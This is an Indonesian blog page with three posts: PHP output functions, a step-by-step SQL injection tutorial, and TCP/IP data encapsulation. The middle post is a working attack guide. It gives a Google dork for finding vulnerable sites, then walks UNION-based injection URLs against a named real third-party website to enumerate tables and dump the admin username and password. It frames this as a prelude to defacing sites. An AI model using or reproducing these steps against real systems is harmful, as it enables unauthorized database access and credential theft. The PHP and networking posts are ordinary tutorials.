random post

Sunday, May 19, 2013

Perbedaan print () dengan echo () di PHP

Teknik dasar pemograman PHP meliputi penulisan sintaks, deklarasi variabel, pembuatan fungsi user-defined (UDF) dan penggunaan fungsi-fungsi dasar. Tidak bisa dipungkiri, konsep-konsep ni merupakan salah satu kunci yang mendasari kesuksesan pengembangan aplikasi PHP. 

MENCETAK OUTPUT

PHP menyediakan beberapa fungsi string untuk mencetak output ke browser, dua diantaranya yang sering digunakan adalah print ( ) dan echo ( ). Kedua fungsi string ini sebenarnya bukan fungsi rill, tetapi suatu konstruksi bahasa. Meskipun secara garis besar kedua fungsi tersebuat memiliki tujuan sama akan tetapi ada perbedaan esensial yang perlu diperhatikan.
Fungsi print ( ) berperilaku seperti fungsi pada umumnya dan memiliki nilai kembalian (return value) berupa integer 1. Dengan demikian print ( ) dapat digunakan sebagai bagian dari ekspresi yang lebih kompleks. Sementara itu echo ( ) mampu menerima lebih dari satu parameter sekaligus dan tidak memiliki nilai kembalian.

print 'string 1';
echo 'string 1';
// menggunakan beberapa parameter
echo 'string 1', 'string 2', ' ......';

Fungsi echo ( ) akan dieksekusi lebih cepat dibandingkan dengan print ( ), perbedaan ini disebabkan fungsi print ( ) akan mengembalikan status integer yang menyatakan apakah proses berhasil dilaksanakan atau tidak.
Disisi lain echo ( ) hanya menampilkan output saja dan tidak mengerjakan hal lainnya. Adapun dalam implementasinya status nilai kembalian dari penggunaan fungsi string hampir tidak pernah diperlukan.

Monday, May 13, 2013

Tutorial SQL Injection [Detail]

SQL INJECTION, HACKING, CRACKING, GOOGLE DORK
SQL INJECTION
Pengertian SQL Injection --Google sebagai search engine ternama di dunia cyber merupakan alat yang memudahkan/membantu user untuk mengais informasi - informasi di dunia maya melebihi yellow pages semua data yang dibutuhkan ditampilkan secara akurat mengenai topik atau details yang dicari user jangan heran jika ditanya seseorang jawabannya adalah "Tanya aja paman Google" saking informatif google tersebut.


Senjata yang paling sering di gunakan dalam mengeksploitasi pun yang paling sering adalah Google Dork. Google dork adalah kata kunci dalam mempermudah pencarian data, kata kunci inilah yang membantu user dalam mencari data yang akurat maupun data data yang tersembunyi seperti log, username maupun password.


Sebagaimana yang telah kita ketahui, sudah banyak sekali situs-situs diretas oleh hacker / cracker dengan menggunakan teknik SQL Injection. SQL Injection adalah sebuah teknik hacking dengan memanfaatkan sebuah celah keamanan yang terjadi dalam lapisan basis data dari suatu aplikasi / website. Celah ini terjadi ketika masukan dari pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain.

SQL injection adalah suatu jenis aksi hacking pada keamanan data di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. 

1.        Langkah – langkah


Sebelum mendaface sebuah situs, kita bisa menggunakan dork sql injection dengan bantuan om kita semua ( om google )
Langkah 1 : ketikkan perintah berikut di google.
inurl:"product.php?id=" & intext:"You have an error in your SQL syntax"

Kemudian pilih salah satu website yang akan di hack :

http://www.geic.co.id/detailproduct.php?id=75

Langkah 2: untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url
Contoh:
http://www.geic.co.id/detailproduct.php?id=75'

ternyata ada bug-nya, muncul pesan error :
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1

Langkah 3: Untuk mencari column gunakan perintah [order by]
dimulai dengan angka 1, selanjutnya 2, dst sampai muncul pesan error pada target kita kali ini, error muncul pada angka 19.
muncul pesan error: Unknown column '19' in 'order clause' jadi angka yang diambil adalah 19-1 = 18 (jumlah column adalah 18)
Langkah 4: mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah "union all select".
Contoh:
http://www.geic.co.id/detailproduct.php?id=-75 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18 --
Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 75

akan muncul "angka ajaib" : 3, 11 dan 18
kita pilih salah satunya saja, misal 3

Langkah 5 : Mencari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 3.
Contoh:
http://www.geic.co.id/detailproduct.php?id=-75 union all select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
sehingga muncul tulisan :
5.0.90-community
nb : lebih mudah versi 5, karena sebentar kita akan mencari informasi table dan column dari information_schema, dimana information_schema tidak terdapat pada database MySql versi 4.

Langkah 6 : mencari tablenya dgn perintah "group_concat(table_name)" pada salah satu angka ajaib dan "from information_schema.tables where table_schema=database()--" di
belakang angka 18.
1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from
information_schema.tables where table_schema=database()--


Akan muncul nama-nama table : login,tbanner,tcatprod,tproduct,tset.
Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password,
kali ini kita ambil table "login"
sebelumnya kita convert kata login ke bilangan HEXA agar dapat dibaca oleh Sql di sini :
Hasil:
ketik : login
pilih ASCII to Hex
hasilnya : 6c6f67696e

Langkah 7: Menambahkan perintah "group_concat(column_name)" pada angka ajaib 3 dan
"from information_schema.columns where table_name=0xHEXA--" di akhir URL.

ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e
tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert
ke hexa.


Contoh:
1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from
information_schema.columns where table_name=0x6c6f67696e--

Hasilnya akan muncul column : user,pass
untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 3 dan from NAMATABLE-- pada akhir URL

Langkah 8: ganti column 1 dengan "user" dan column2 dengan "pass"
0x3a adalah tanda titik dua (:) yang telah diconvert ke hexa
NAMA TABLE diganti dengan "login" untuk mengambil informasi dari table yang bernama
"login".
Contoh:
http://www.geic.co.id/detailproduct.php?id=-75 union all select
1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from login--

hasil:admin:admin
jadi,user=admin, password=admin.
Selanjutnya mencari halaman admin dengan menggunakan admin finder. Klo ada yg dapat admin pagenya tolong jangan di deface, supaya web ini bisa digunakan kembali.

Silahkan download versi wordnya :  DISINI
 

Thursday, February 21, 2013

Proses Pengiriman dan Penerimaan Paket Data

Pengertian Jaringan Komputer - Layer-layer dan protokol yan terdapat dalam arsitektur jaringan TCP/IP menggambarkan fungsi-fungsi dalam komunikasi antara dua buah komputer.  Setiap lapisan menerima data dari lapisan di  atas atau dibawahnya, kemudian memproses data tersebut sesuai fungsi protokol yang dimilikinya dan meneruskannya ke lapisan berikutnya.
Ketika dua komputer berkomunikasi, terjadi aliran data antara pengirim dan penerima melalui lapisan-lapisan di atas. Pada pengirim, aliran data adalah dari atas ke bawah. Data dari user maupun suatu aplikasi dikirimkan ke Lapisan Transport dalam bentuk paket-paket dengan panjang tertentu. Protokol menambahkan sejumlah bit pada setiap paket sebagai header yang berisi informasi mengenai urutan segmentasi untuk menjaga integritas data dan bit-bit pariti untuk deteksi dan koreksi kesalahan.
Dari Lapisan Transport, data yang telah diberi header tersebut diteruskan ke Lapisan Network / Internet. Pada lapisan ini terjadi penambahan header oleh protokol yang berisi  informasi alamat tujuan, alamat pengirim dan informasi lain yang dibutuhkan untuk melakukan routing. Kemudian terjadi pengarahan routing data, yakni ke network dan interface yang mana data akan dikirimkan, jika terdapat lebih dari satu interface pada host. Pada lapisan ini juga dapat terjadi segmentasi data, karena panjang paket yang akan dikirimkan harus disesuaikan dengan kondisi media komunikasi pada network yang akan dilalui.  Proses komunikasi data di atas dapat dijelaskan seperti pada gambar berikut ini :

proses enkapsulasi, application, transport, internet, network, physical, layer
Proses Enkapsulasi Data

Selanjutnya data menuju Network Access Layer (Data Link) dimana data akan diolah menjadi frame-frame, menambahkan informasi keandalan dan address pada level link. Protokol pada lapisan ini menyiapkan data dalam bentuk yang paling sesuai untuk dikirimkan melalui media komunikasi tertentu.
Terakhir data akan sampai pada Physical Layer yang akan  mengirimkan data dalam bentuk besaran-besaran listrik/fisik seperti tegangan, arus, gelombang radio maupun cahaya, sesuai media yang digunakan.
Di bagian penerima, proses pengolahan data mirip seperti di atas hanya dalam urutan yang berlawanan (dari bawqah ke atas). Sinyal yang diterima pada physical layer akan diubah dalam ke dalam data. Protokol akan memeriksa integritasnya dan jika tidak ditemukan error t header yang ditambahkan akan dilepas.
Selanjutnya data diteruskan ke lapisan network. Pada lapisan ini, address tujuan dari paket data yang diterima akan diperiksa. Jika address tujuan merupakan address host yang bersangkutan, maka header lapisan network akan dicopot dan data akan diteruskan ke lapisan yang diatasnya. Namun jika tidak, data akan di forward ke network tujuannya, sesuai dengan informasi routing yang dimiliki.
Pada lapisan Transport, kebenaran data akan diperiksa kembali, menggunakan informasi header yang dikirimkan oleh pengirim. Jika tidak ada kesalahan, paket-paket data yang diterima akan disusun kembali sesuai urutannya pada saat akan dikirim dan diteruskan ke lapisan aplikasi pada penerima.
Proses yang dilakukan tiap lapisan tersebut dikenal dengan istilah enkapsulasi data. Enkapsulasi ini sifatnya transparan. Maksudnya, suatu lapisan tidak perlu mengetahui ada berapa lapisan yang ada di atasnya maupun di bawahnya. Masing-masing hanya mengerjakan tugasnya. Pada pengirim, tugas ini adalah menerima data dari lapisan diatasnya, mengolah data tersebut sesuai dengan fungsi protokol, menambahkan header protokol dan meneruskan ke lapisan di bawahnya.
Pada penerima, tugas ini adalah menerima data dari lapisan di bawahnya, mengolah data sesuai fungsi protokol, mencopot header protokol tersebut dan meneruskan ke lapisan di atasnya.

Perbandingan Arsitektur OSI dan TCP/IP


Pengertian jaringan komputer -Walaupun jumlahnya berbeda, namun semua fungsi dari lapisan-lapisan arsitektur OSI telah tercakup oleh arsitektur TCP/IP. Adapun rincian fungsi masing-masing layer arsitektur TCP/IP adalah sbb :
Physical Layer (lapisan fisik) merupakan lapisan terbawah yang mendefinisikan besaran fisik seperti media komunikasi, tegangan, arus, dsb. Lapisan ini dapat bervariasi bergantung pada media komunikasi pada jaringan yang bersangkutan. TCP/IP bersifat fleksibel sehingga dapat mengintegralkan mengintegralkan berbagai jaringan dengan media fisik yang berbeda-beda.
Network Access Layer mempunyai fungsi yang mirip dengan  Data Link layer pada OSI. Lapisan ini mengatur penyaluran data frame-frame data pada media fisik yang digunakan secara handal. Lapisan ini biasanya memberikan servis untuk deteksi dan koreksi kesalahan dari data yang ditransmisikan. Beberapa contoh protokol yang digunakan pada lapisan ini adalah X.25 jaringan publik, Ethernet untuk jaringan Etehernet, AX.25 untuk jaringan Paket Radio dsb.
Internet Layer mendefinisikan  bagaimana hubungan dapat terjadi antara dua pihak yang berada pada jaringan yang berbeda seperti Network Layer pada OSI. Pada jaringan Internet yang terdiri atas puluhan juta host dan ratusan ribu jaringan lokal, lapisan ini bertugas untuk menjamin agar suatu paket yang dikirimkan dapat menemukan tujuannya dimana pun berada. Oleh karena itu, lapisan ini memiliki peranan penting terutama dalam mewujudkan internetworking yang meliputi wilayah luas (worldwide Internet). Beberapa tugas penting pada lapisan ini adalah:
Addressing, yakni melengkapi setiap datagram dengan alamat Internet dari tujuan. Alamat pada protokol inilah yang dikenal dengan Internet Protocol Address ( IP Address). Karena pengalamatan (addressing) pada jaringan TCP/IP berada pada level ini (software), maka jaringan TCP/IP independen dari jenis media dan komputer yang digunakan.
Routing, yakni menentukan ke mana datagram akan dikirim agar mencapai tujuan yang diinginkan. Fungsi ini merupakan fungsi terpenting dari Internet Protocol (IP). Sebagai protokol yang bersifat connectionless, proses routing sepenuhnya ditentukan oleh jaringan. Pengirim tidak memiliki kendali terhadap paket yang dikirimkannya untuk bisa mencapai tujuan. Router-router pada jaringan TCP/IP lah yang sangat menentukan dalam penyampaian datagram dari penerima ke tujuan.
Transport Layer mendefinisikan cara-cara untuk melakukan pengiriman data antara end to end host secara handal. Lapisan ini menjamin bahwa informasi yang diterima pada sisi penerima adalah sama dengan informasi yang dikirimkan pada pengirim. Untuk itu, lapisan ini memiliki beberapa fungsi penting antara lain :
Flow Control. Pengiriman data yang telah dipecah menjadi paket-paket tersebut harus diatur sedemikian rupa agar pengirim tidak sampai mengirimkan data dengan kecepatan yang melebihi kemampuan penerima dalam menerima data.
Error Detection. Pengirim dan penerima juga melengkapi data dengan sejumlah informasi yang bisa digunakan untuk memeriksa data yang dikirimkan bebas dari kesalahan. Jika ditemukan kesalahan pada paket data yang diterima, maka penerima tidak akan menerima data tersebut. Pengirim akan mengirim ulang  paket data yang mengandung kesalahan tadi. Namun hal ini dapat menimbulkan delay yang cukup berartii.
Pada TCP/IP, protokol yang dipergunakan adalah Transmission Control Protocol (TCP) atau User Datagram Protocol ( UDP ). TCP  dipakai untuk aplikasi-aplikasi yang membutuhkan keandalan data, sedangkan UDP  digunakan untuk aplikasi yang membutuhkan panjang paket yang pendek dan tidak menuntut keandalan yang tinggi. TCP memiliki fungsi flow control dan error detection dan bersifat connection oriented. Sebaliknya pada UDP yang bersifat connectionless tidak ada mekanisme pemeriksaan data dan flow control, sehingga UDP disebut juga unreliable protocol. Untuk beberapa hal yang menyangkut efisiensi dan penyederhanaan, beberapa aplikasi memilih menggunakan UDP sebagai protokol transport. Contohnya adalah aplikasi database yang hanya bersifat query dan response, atau aplikasi lain yang sangat sensitif terhadap delay seperti video conference. Aplikasi seperti ini dapat mentolerir sedikit kesalahan (gambar atau suara masih bisa dimengerti), namun akan tidak nyaman untuk dilihat jika terdapat delay yang cukup berarti.
Application Layer merupakan lapisan terakhir dalam arsitektur TCP/IP yang berfungsi mendefinisikan aplikasi-aplikasi yang dijalankan pada jaringan. Karena itu, terdapat banyak protokol pada lapisan ini, sesuai dengan banyaknya aplikasi TCP/IP yang dapat dijalankan. Contohnya adalah SMTP ( Simple Mail Transfer Protocol ) untuk pengiriman e-mail, FTP (File Transfer Protocol) untuk transfer file, HTTP (Hyper Text Transfer Protocol) untuk aplikasi web, NNTP (Network News Transfer Protocol) untuk distribusi news group dan lain-lain. Setiap aplikasi pada umumnya menggunakan protokol TCP dan IP, sehingga keseluruhan keluarga protokol ini dinamai dengan TCP/IP.
osi layer, tcp/ip. network, transport, data link, physical, session, presentation, application, internet, network access

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | coupon codes